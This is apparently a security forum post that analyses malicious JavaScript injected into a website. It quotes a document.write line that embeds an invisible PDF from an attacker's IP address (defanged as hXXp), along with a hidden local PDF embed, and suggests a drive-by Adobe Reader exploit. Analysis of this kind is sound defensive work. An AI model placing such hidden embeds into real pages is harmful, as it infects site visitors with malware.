I took a quick look at the code... formatted it in a pastebin here:

That javascript writes this to the page (URL obscured):
document.write("<embed
src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|U
nknown|US|1.2.3.4\" width=\"0\" height=\"0\"
type=\"application/pdf\"></embed>");

The 1.2.3.4 in the URL is my public IP address (I changed that).

Below the javascript, it grabs a PDF:
<embed src="include/two.pdf" width="1" height="0"
style="border:none"></embed>

That PDF is on the site, I haven't looked at it yet though.


Most likely a file that exploits a well-known vulnerability in Adobe
Reader, which in turn probably loads malware from yet another location.

We've been seeing a lot of this lately.
